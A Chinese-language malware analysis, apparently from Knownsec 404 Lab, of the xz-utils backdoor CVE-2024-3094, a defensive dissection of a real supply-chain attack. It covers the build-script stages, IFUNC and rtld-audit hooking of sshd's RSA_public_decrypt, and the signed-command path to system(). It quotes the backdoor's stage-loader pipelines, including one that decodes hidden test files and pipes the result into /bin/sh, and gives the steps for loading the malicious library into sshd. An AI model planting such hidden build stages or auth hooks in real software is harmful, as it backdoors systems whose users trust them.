xz-utils是一种使用 LZMA 算法的数据压缩/解压工具,文件后缀名通常为*.xz
,是 Linux 下广泛使用的压缩格式之一。
2024.03.29 由微软工程师 Andres Freund 披露了开源项目 xz-utils 存在的后门漏洞,漏洞编号为 CVE-2024-3094,其通过供应链攻击的方式劫持 sshd 服务的身份认证逻辑,从而实现认证绕过和远程命令执行,该后门涉及 liblzma.so 版本为 5.6.0 和 5.6.1,影响范围包括 Debian、Ubuntu、Fedora、CentOS、RedHat、OpenSUSE 等多个主流 Linux 发行版,具体影响版本主要是以上发行版的测试版本和实验版本。
截止本文发布,距离 xz-utils 后门披露已经过去一段时间,全球安全研究人员在互联网上发布了大量的高质量分析报告,这有助于我们对于xz-utils后门事件有一个全面的理解。本文将以这些分析报告为基础,进行翻译、整理和复现,并针对xz-utils后门代码部分展开分析研究,以了解攻击者的技术方案和实施细节,从而在防御角度提供一定的技术支持。
本文实验环境
Debian 12 x64
xz-utils/liblzma.so 5.6.1
IDA / GDB
xz-utils 源代码托管在 Github上,根据后门相关代码的提交记录可以定位攻击者是 Github 用户 JiaT75,其花费了近两年时间潜伏在 xz-utils 项目中,不断的为该项目贡献代码(最早可追溯到2022.02.07第一次提交代码),最终获得 xz-utils 仓库的直接维护权限,为构建后门打下了基础。
攻击者将后门目标定向至 sshd 服务,这能使后门在具备隐蔽性的同时产生更大的攻击效益,不过默认情况下 sshd 服务和 xz-utils 并没有联系;部分 Linux 发行版(以Debian为例)在openssh-server
中引入了libsystemd0
依赖,用于 sshd 进程和守护进程 systemd 进行通信,而libsystemd0
依赖了liblzma5
,于是构建后门拥有了一条可行路径,如下:
图2-1 sshd间接依赖liblzma5
在 sshd 服务的「证书验证」身份认证逻辑中,其关键函数RSA_public_decrypt()*
会使用公钥对用户发送的数据进行签名验证,签名验证成功则表示身份认证成功;攻击者则通过 liblzma5 实现对RSA_public_decrypt()*
函数的劫持替换,在替换的函数中内置了自己的公钥,并在认证成功后提供了命令用于执行功能,以此方式实现了后门,如下:
图2-2 `RSA_public_decrypt()`身份认证函数
攻击者为了实现对RSA_public_decrypt()*
函数的劫持替换,同时保持整个过程的隐蔽性和后门的兼容性,使用了非常复杂的实施方案,具体实施过程可大致分为三个环节:
liblzma5编译环节:攻击者将后门代码隐藏在 xz-utils 源码中,并修改编译脚本,在编译时将后门代码添加到liblzma5.so
库中;
sshd启动环节:sshd启动时将间接加载liblzma5.so
库,通过 IFUNC 和 rtdl-audit 机制实现对RSA_public_decrypt()*
函数的劫持替换;
RSA_public_decrypt()*
后门生效环节:攻击者使用私钥签名证书,使用证书连接 sshd 服务进行身份认证,触发RSA_public_decrypt()*
后门代码;
实施过程如下:
图2-3 后门植入的实施概要
下文我们将着重分析这三个环节的具体实施过程。
首先我们搭建分析环境,由于 xz-utils 后门事件披露后各 Linux 发行版为降低影响范围对 xz-utils/liblzma.so 进行了版本回退,以及攻击者只在 tarball 中分发包含后门代码的项目源码(即与 Github 项目主页的代码不一致,增加后门代码的隐蔽性),因此我们需要在下游发行版指定 commit 才能获取包含后门代码的源代码(xz-utils-debian),或者通过 web-archive下载 xz-utils 的 tarball 源代码。
下载并解压源码后,使用如下命令编译 xz-utils 项目:
# [xz-utils] source directory
$ ./configure
$ make
编译成功后会生成[src]/src/liblzma/.libs/liblzma.so.5.6.1
目标二进制文件,包含后门代码的 liblzma5.so 尺寸明显大于正常版本,如下:
图3-1 编译liblzma5.so以及比较
攻击者将后门代码隐藏在xz-utils的源码中,并通过控制编译脚本的运行,实现源代码在编译过程中将后门代码植入到liblzma5.so
库。这一步骤是后门植入的切入点,也是代码层面整个攻击流程的起点。流程示意图如下:
图4-1 编译脚本环节流程图
1.build-to-host.m4
首先我们关注后门编译脚本[src]/m4/build-to-host.m4
文件,这是 m4 宏文件,其将随着configure && make
命令进行宏展开并执行,AC_DEFUN(gl_BUILD_TO_HOST_INIT)
的代码将最先被执行,如下:
图4-2 build-to-host脚本查找后门文件
这里通过grep
命令查找文件内容符合#{4}[[:alnum:]]{5}#{4}$
特征的后门文件,即[src]/tests/files/bad-3-corrupt_lzma2.xz
,测试执行如下:
图4-3 查找bad-3-corrupt_lzma2.xz后门文件
2.bad-3-corrupt_lzma2.xz
随后执行AC_DEFUN(gl_BUILD_TO_HOST)
的代码,这里先对系统环境进行检查和适配,随后从bad-3-corrupt_lzma2.xz
后门文件中提取文件内容,关键代码如下:
图4-4 bad-3-corrupt_lzma2.xz提取内容
结合上下文,该行代码实际执行如下,使用sed
命令读取bad-3-corrupt_lzma2.xz
文件内容,使用tr
命令按[\t -_]=>[ \t_-]
的对应关系进行字符替换,随后使用xz
命令进行解压:
sed "r\n" bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
解压后将获得 bash 脚本文件helloworld.sh,其内容如下:
图4-5 bad-3-corrupt_lzma2.xz提取的脚本
这里使用AC_CONFIG_COMMANDS
注册了build-to-host
命令,后续调用该命令时就会执行eval $gl_config_gt
代码,即helloworld.sh
脚本文件。
3.good-large_compressed.lzma
helloworld.sh
脚本同样先对环境进行了检查,随后使用xz
命令解压[src]/tests/files/good-large_compressed.lzma
后门文件,使用head
和tail
命令截取文件内容,再次使用tr
命令对内容进行字符替换,最后使用xz
命令对嵌套的文件进行解压,整理后的关键命令如下:
xz -dc $srcdir/tests/files/good-large_compressed.lzma |
eval $i |
tail -c +31233 |
tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377") |
xz -F raw --lzma1 -dc |
/bin/sh
此处通过xz -F raw --lzma1 -dc
命令解压将得到新的 bash 脚本文件decompressed.sh。
4.decompressed.shdecompressed.sh
这个脚本的代码较长,大多为环境检查和兼容性调整,最关键的代码有三段,第一段代码如下:
图4-6 decompressed.sh脚本grep预埋代码
依然是熟悉的操作,使用grep
在源代码文件夹中寻找匹配规则的文件内容,通过cut
命令截取内容,通过tr
命令按字符替换,最后使用xz
命令解压。但在源代码文件夹中我们没有发现符合规则的文件,这可能是攻击者为后续攻击预埋的代码。
脚本中
grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null
处代码同理。
5.liblzma_la-crc64-fast.o
第二段代码生成的目标二进制文件liblzma_la-crc64-fast.o
如下:
图4-7 decompressed.sh脚本生成`liblzma_la-crc64-fast.o`
此处$p=good-large_compressed.lzma
,$i
为上文中的head
命令截取文件内容的代码,对截取的内容再通过 RC4 解密获得压缩文件,通过xz
命令解压最终获得目标二进制文件liblzma_la-crc64-fast.o
,如下:
图4-8 `liblzma_la-crc64-fast.o`文件信息
6.crc64_fast.c
第三段代码则对源码crc64_fast.c
进行了修改,将后门的入口代码添加在此处,如下:
图4-9 decompressed.sh脚本修改`crc64_fast.c`源码
这里
crc32_fast.c
为了保证更好的兼容性,不再进行赘述。
通过diff
命令来查看crc64_fast.c
源码的修改,如下:
图4-10 修改`crc64_fast.c`源码
对比代码可以看到攻击者使用_is_arch_extension_supported()
替换了原始函数is_arch_extension_supported()
,在内联函数_is_arch_extension_supported()
中调用了外部函数_get_cpuid()
。
而外部函数_get_cpuid()
正隐藏在liblzma_la-crc64-fast.o
中,攻击者使用如下编译命令,将后门二进制文件liblzma_la-crc64-fast.o
和修改后的crc64_fast.c
源码编译进原本的liblzma_la-crc64_fast.o
目标文件中(注意下划线的微小差异):
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null
对比正常版本下的liblzma_la-crc64_fast.o
,我们可以发现明显大小差异:
图4-11 `liblzma_la-crc64_fast.o`比较
而随后包含后门代码的liblzma_la-crc64_fast.o
将自然而然的被编译链接到库文件liblzma5.so
中,完成后门的植入工作。
sshd 服务启动时将间接加载liblzma5.so
库,通过 IFUNC 和 rtdl-audit 机制实现对RSA_public_decrypt()*
函数的劫持替换,这是后门执行的入口点。流程示意图如下:
图5-1 sshd启动环节流程图
我们可以使用LD_PRELOAD/LD_LIBRARY_PATH
来指定 sshd 加载恶意的liblzma5.so
库,由于后门代码还对环境变量进行了检查,我们还需要使用env -i
清空环境变量;完整的动态调试执行命令如下:
# cp xz-utils-5.6.1/src/liblzma/.libs/liblzma.so.5.6.1 liblzma.so.5
$ su root
$ env -i LD_LIBRARY_PATH=/home/debian/xz/ /usr/sbin/sshd -D -p 2222
此处注意
LD_LIBRARY_PATH
需要使用绝对路径,避免子进程无法找到指定的恶意liblzma.so.5
。
执行如下:
图5-2 动态调试加载恶意`liblzma.so`
1.IFUNC函数
通过上文后门植入的过程分析,我们可以看到后门执行的入口点位于crc64_fast.c
的crc64_resolve()
函数下,后门代码如下:
......
lzma_resolver_attributes
static crc64_func_type
crc64_resolve(void)
{
return _is_arch_extension_supported()
? &crc64_arch_optimized : &crc64_generic;
}
......
#ifdef CRC_USE_IFUNC
extern LZMA_API(uint64_t)
lzma_crc64(const uint8_t *buf, size_t size, uint64_t crc)
__attribute__((__ifunc__("crc64_resolve")));
#else
......
lzma_crc64()
是一个指向crc64_resolve()
的 IFUNC函数,IFUNC 是一种动态函数的实现方案,由动态加载器调用并绑定具体的函数,这个时机甚至早于 GDB 的catch load
异常断点,无法通过常规断点动态调试此处代码逻辑。
这里通过二进制补丁的方式打断点,使用objdump -D liblzma.so.5 | grep crc64_resolve
找到函数偏移,修改函数的第一个字节为0xCC
从而打下断点,其函数调用栈如下:
图5-3 `IFUNC-crc64_resolve`函数调用栈
GDB 调试断在此处后,需要手动使用
set {char}0x7ffff74a2ea0=0x55, set $rip=0x7ffff74a2ea0
命令恢复原始指令push ebp
和重置$rip
,随后才可以进行正常调试。
在 IDA 中分析crc64_resolve()
函数,也就是lzma_crc64()
函数,其中get_cpuid()
是后门代码的入口调用点,如下:
图5-4 `lzma_crc64`函数代码
逐步跟入get_cpuid()
函数至sub_4764()
,该函数使用 GOT 表重写的方式修改了cpuid()
函数地址,这里调用cpuid()
实际调用了sub_21240()/backdoor_init_stage2()
函数,为静态分析制造了一定的难度,如下:
图5-5 `sub_4764`函数代码
2.backdoor_init_stage2
在 IDA 中跳到sub_21240()/backdoor_init_stage2()
函数,其关键代码片段如下:
图5-6 `backdoor_init_stage2`函数代码
其中sub_12020()/backdoor_vtbl_init()
用于后门初始化全局函数调用表,如下:
图5-7 `backdoor_vtbl_init`函数代码sub_21C90()/parse_elf_init()
则是后门初始化的主函数,主要通过解析 ELF 文件格式找到目标函数进行劫持替换(由于此处函数代码调用处于 IFUNC 的调用生命周期中,因此导入导出表尚未加载);该函数代码量较大,我们找几处关键点进行分析。
3.check_conditions
首先跟入sub_12E00()
其内部调用sub_12920()/check_conditions()
函数进行运行环境检查,首先检查进程名是否为/usr/sbin/sshd
,随后对环境变量进行检查,如下:
图5-8 `check_conditions`函数代码
通过分析trie_getkey()
表项数据,这里检查了环境变量不能包含以下项:
DISPL_AY=
LD_AUDIT=
LD_BIND_NOT=
LD_DEBUG=
LD_PROFILE=
LD_USE_LOAD_BIAS=
LINES=
TERM=
WAYLAND_DISPL_AY=
yolAbejyiejuvnup=Evjtgvsh5okmkAvj
4.process_shared_libraries_map
随后跟入sub_16590()
其内部调用sub_149B0()/process_shared_libraries_map()
函数解析目标 so 库的基地址,如下:
图5-9 `process_shared_libraries_map`函数代码
其解析的 so 库按序如下:
sshd
ld-linux-x86-64.so
liblzma.so
libcrypto.so
libsystemd.so
libc.so
后续代码则根据 so 库再进一步解析目标函数的地址。更为关键的代码在sub_21240()/backdoor_init_stage2()+0x207c
处,这里通过构造audit_ifaces
结构体向动态装载器(ld.so
)手动注册审计函数symbind64()
,如下:
图5-10 构造`audit_ifaces`结构体注册审计函数symbind64()
将在动态加载器(ld.so
)每次装载导出函数时被调用,攻击者则瞄准这个时机实现对目标函数的劫持替换,除此之外LD_AUDIT
的执行时机早于LD_PRELOAD
,能够绕过部分安全检测机制。
这实际使用了 rtld-audit机制,等价于在常规开发中的编写审计功能库,定义并实现
la_symbind64
函数,常规使用环境变量进行加载如LD_AUDIT=./audit.so ./test
。
按照如上分析,我们动态调试在sub_ABB0()/install_hook()
函数处打下断点,此时函数调用栈如下:
图5-11 `rtld-audit`调用流程中的`install_hook`函数
由于 rtld-audit 机制被调用时也非常早,这里我们很难打下断点,比较简单的方式是在未开启地址随机化的情况下,先运行一次程序,然后按照
sub_ABB0()
函数的偏移地址使用hbreak
打下硬件断点,重新运行即可断下。
6.install_hook
跟入sub_ABB0()/install_hook()
函数,其通过trie_getkey()
比较当前函数名称是否为目标函数,若匹配则使用 hook 函数对其进行替换,如下:
图5-12 `install_hook`函数对目标函数进行hook
攻击者在这里设置了如下三个 hook 函数来提高成功率,其中任一函数 hook 成功后则退出,并调用sub_CFA0()
清理 rtld-audit 的痕迹。
RSA_public_decrypt()
EVP_PKEY_set1_RSA()
RSA_get0_key()
到这里攻击者就实现了对认证函数的劫持替换,完成了后门代码的安装工作。
攻击者虽然设置了三个 hook 函数,但由于RSA_public_decrypt()
在libcrypto.so
中最靠前,所以优先级最高,本文我们主要分析RSA_public_decrypt_hook()
的代码。该环节的流程示意图如下:
图6-1 后门代码执行环节流程图RSA_public_decrypt()
函数位于 sshd 服务身份认证的证书认证流程中,我们可以使用ssh-keygen
命令生成并签名一个证书用于测试:
# 生成 test_ca 公私钥
ssh-keygen -t rsa -b 4096 -f test_ca -C test_ca
# 生成 user_key 公私钥
ssh-keygen -t rsa -b 4096 -f user_key -C user_key
# 使用 test_ca 对 user_key 生成证书
ssh-keygen -s test_ca -I [email protected] -n test-user -V +52w user_key.pub
# 查看证书信息
ssh-keygen -L -f user_key-cert.pub
# 使用证书连接服务器进行认证
ssh -i user_key-cert.pub [email protected] -p 2222
ssh的三种身份认证:1.密码认证;2.公私钥认证;3.证书认证
使用 GDB 在sub_164B0()/RSA_public_decrypt_hook()
处打下断点,ssh 客户端使用证书认证连接服务器,此时调用栈如下:
图6-2 `RSA_public_decrypt_hook`函数调用栈
跟入sub_164B0()/RSA_public_decrypt_hook()
的代码,关键代码为调用后门主函数代码sub_16710()/hook_main()
,随后根据后门代码的执行结果,按需执行原始的RSA_public_decrypt()
函数,回归正常的身份认证逻辑,如下:
图6-3 `RSA_public_decrypt_hook`函数代码
在sub_16710()/hook_main()
函数中,首先从认证报文中提取密钥 n,e 等信息并对报文结构进行检查,如下检查协议报文 magic number 计算结果小于等于 3,这也是攻击命令的取值:
图6-4 `hook_main`函数检查报文magic number
随后调用sub_23650()/decrypt_ed448_public_key()
函数获取内置在后门代码中的public-key
公钥,公钥在其内部使用chacha20
加密隐藏,这里进行解密:
图6-5 `decrypt_ed448_public_key`函数代码
此处解密后的 ED448 公钥内容为:
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00
后门代码中多处使用 chacha20 解密,其
key
和iv
根据相关上下文进行确定。
随后调用sub_14320()/verify_ed448_signature()
使用公钥对签名进行验证:
图6-6 调用`verify_ed448_signature`进行签名验证
通过签名验证后还会进行复杂的检查条件,最终在sub_16710()/hook_main()+0xb75
处调用system()
执行命令:
图6-7 调用system执行命令
在本文中,我们围绕着 xz-utils 后门代码的整个生命周期进行分析研究,沿着后门代码的执行路径,从liblzma.so
的编译阶段到sshd
服务的启动阶段,分别复现了其后门的植入和安装工程,随后从后门关键函数RSA_public_decrypt()
入手,分析了后门代码的执行流程和攻击意图。
通过以上 xz-utils 的后门代码分析可以看到攻击者具有高水平的技术能力,而这仍是管中窥豹,我们仅仅只是对后门代码的主流程进行分析研究,根据互联网上的多份技术报告剖析,攻击者在代码混淆、反调试、sshd日志隐藏、反汇编引擎等方面,也精心进行设计和实现;同时在代码之外攻击者也表现得非常专业,精心挑选攻击目标,再通过长期的潜伏、伪装获得信任,最终获得代码仓库的权限。而这些方方面面都还值得我们进一步的挖掘和研究。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-3094
https://salsa.debian.org/debian/xz-utils/-/tree/46cb28adbbfb8f50a10704c1b86f107d077878e6
https://gist.github.com/q3k/3fadc5ce7b8001d550cf553cfdc09752
https://elixir.bootlin.com/glibc/latest/source/sysdeps/generic/ldsodefs.h#L237
https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
https://github.com/binarly-io/binary-risk-intelligence/tree/master/xz-backdoor
作者:0x7F@知道创宇404实验室
原文链接:https://paper.seebug.org/3157/